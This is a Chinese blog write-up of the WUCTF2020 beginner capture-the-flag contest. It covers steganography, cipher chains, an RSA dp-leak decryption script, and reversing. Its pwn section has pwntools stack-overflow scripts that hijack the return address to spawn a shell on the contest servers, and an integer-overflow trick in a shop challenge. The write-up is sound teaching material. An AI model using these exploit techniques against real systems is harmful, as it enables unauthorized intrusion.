记一次武汉科技大学ctf新手赛 wuctf2020

这两天做了一下武汉科技大学的新手赛,由于我是小萌新,难的题目都不会,下面是部分简单题的wp

Misc
1.Space Club
在这里插入图片描述
打开之后是这样的,结合题目,估计可能是一堆空格之类的,用python看一下

with open("space.txt")as f:
    a=f.read()
    for i in a:
        print (str(ord(i)))

在这里插入图片描述
运行结果如图,32即为空格的ASCII码,猜测10是用来分隔的,分隔之间空格的不同数量即为有用信息,再提取

with open("space.txt")as f:
    a=f.read()
    g=0
    s=''
    for i in a:
        if ord(i)==32:
            g=g+1
        else:
            s+=chr(g+97)
            g=0
    print (s)

在这里插入图片描述
由于我一开始以为会是空格数量代表不同字母,所以我这是空格数量+97后的结果,发现分隔之间的空格数量,要么为6个,要么为12个,由此,我们可以把g作为0,m作为1进行替换,再二进制转ASCII码即可得flag

2.welcome
在这里插入图片描述
这个文件是这样的,exe打开后会开启摄像头,结合题目里的三人行和说明里面的提示,得出需要三个人出现在摄像头里即可拿到flag,图就不上了,免得暴露我帅气的脸庞

3.爬
文件下载下来后无后缀名,010editor或winhex查看头文件可知是pdf文件,修改后缀名,用pdf编辑器或Photoshop打开,可以看到这样的提示
在这里插入图片描述
flag被图片挡住了,那我们就选中图片让它给爷爬!爬开之后看到了以下这个
在这里插入图片描述
16进制转ASCII即可得flag了

4.girlfriend
文件下载之后是一个wav音频,听声音怀疑是拨号音隐写,用音频处理软件打开后查看频谱图验证了猜想
在这里插入图片描述
在这里插入图片描述
通过如第二张图所示的方式实现,我一开始尝试着肉眼看,后来发现实在太多,眼睛都快瞎了,关键是还容易错,我直接心态炸裂。后来我突然想起来,是有脚本的。就去github上搞了脚本,改了下脚本里的文件名,运行,咳上瓜子静静等待即可啦
在这里插入图片描述
9996668827773369994444777555333777444336637777
我兴高采烈地拿着这串东西去提交,居然不对?仔细一想,这么长也不像是flag,确实是我天真了。再一想,感觉应该和九键键盘有关,999即代表9上面的第三个字符y,*为分隔符,解出来是youaremygirlfriends,很显然这必定是flag了

5.find me
这题是个jpg图片,下载下来之后在备注里看到了这么一串东西
在这里插入图片描述
我也不知道这是什么,百度了才晓得,放到这个网站就可以解了
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen
在这里插入图片描述
6.shop
这里需要nc连接47.97.40.187 12306
连接之后发现你有2020的钱,cheaper flag需要花费999且没有数量限制,real flag只能买一个但却需要100000
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以购买一定数量的cheaper flag,利用整数溢出,实现亿万富翁梦
在这里插入图片描述
数量比2的31次/999+2020/999大一点即可,拿着这些钱,就可以买到真的flag了
7.Alison likes jojo
在这里插入图片描述
文件下载下来之后,是这样的两张图片,第一张放到虚拟机里binwalk一下,可分离得到一个安装包,是加密的,爆破即可秒出密码
在这里插入图片描述
压缩包里是这样一个txt,拿去base64解密三次得到“killerqueen",由于还有第二张图片且里面不存在其它文件,初步猜测第二张图片经过某软件加密,而killerqueen就是密码,试了一波之后发现是outguess加密,得到flag

Crypto

1.大数运算
在这里插入图片描述
part3计算器算一下就行,part4就是普通的定积分,part2我用的是python,part1我当时是用了个网站计算的

2.B@se
在这里插入图片描述
这题就是对base64表做了改动,转换回来就可以了

3.佛说:只能四天
在这里插入图片描述
熟悉密码的人应该都知道这个加密方式,但是有点坑的是,他这里用的是新佛曰,居然还有新的?
http://hi.pcmoe.net/Buddha.html
在这里插入图片描述
解出来之后是社会主义核心价值观加密
在这里插入图片描述
根据提示,栅栏密码,把_doyouknowfence去掉继续解密
在这里插入图片描述
发现这个,同理,去除末尾后继续解凯撒,但解了一圈之后并没有发现什么,便猜测凯撒密码并不是最后一环
再观察,发现这串字符由大写字母和2-7的数字组成,便想到了base32,这个比赛flag的开头皆为wctf2020,拿这个去加密一波
在这里插入图片描述
开头为‘O’,找到凯撒解密里开头为O的那串字符
在这里插入图片描述
开头完全符合,说明猜想正确,把这串字符拿去base32解密即可得到flag

4.leak
在这里插入图片描述
这是一个rsa的题目,解密脚本如下

import gmpy2
import binascii

def getd(n,e,dp):
    for i in range(1,e):
        if (dp*e-1)%i == 0:
            if n%(((dp*e-1)/i)+1)==0:
                p=((dp*e-1)/i)+1
                q=n/(((dp*e-1)/i)+1)
                phi = (p-1)*(q-1)
                d = gmpy2.invert(e,phi)%phi
                return d
e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
d=getd(n,e,dp)
m=pow(c,d,n)
print binascii.unhexlify(hex(m)[2:])

运行得flag
在这里插入图片描述

Re
1.Cr0ssFun
拖进ida
在这里插入图片描述
在这里插入图片描述
其实是个套娃,最后给出了flag每一个字符的ASCII码,连起来即可得到flag了

2.level1
在这里插入图片描述

在这里插入图片描述
这题是个简单加密,搞懂加密方法,根据给出的output.txt即可写出解密脚本

3.level2
upx脱壳后字符串里找到flag

4.level3
在这里插入图片描述
这题我一开始以为他是在base64_encode里面动了手脚,分析了半天才发现是base64表被改了
在这里插入图片描述
拿到新base64表后,再去解代码里给出的那个base64字符串即可得到flag

Pwn
1.getshell
在这里插入图片描述
在这里插入图片描述
利用栈溢出,返回地址0x08048524即可得到flag

from pwn import *

sh=remote("47.97.40.187",12333)
payload='a'*0x18+'bbbb'+p32(0x08048524)
sh.sendline(payload)
sh.interactive()

2.getshell2
在这里插入图片描述
在这里插入图片描述
利用栈溢出,返回地址0x08048529调用system函数,然后找到sh字符串的地址
在这里插入图片描述
再把sh字符串作为参数传给system函数即可

from pwn import *

sh=remote("47.97.40.187",12334)
payload='a'*0x18+'bbbb'+p32(0x08048529)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()

3.number_game
在这里插入图片描述
经过测试,-2^31-1这个数字即可

from pwn import *

sh=remote("106.12.48.20",12336)
#payload=str(2147483648)
sh.sendline(str(-2147483649))
sh.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/105176874
今日推荐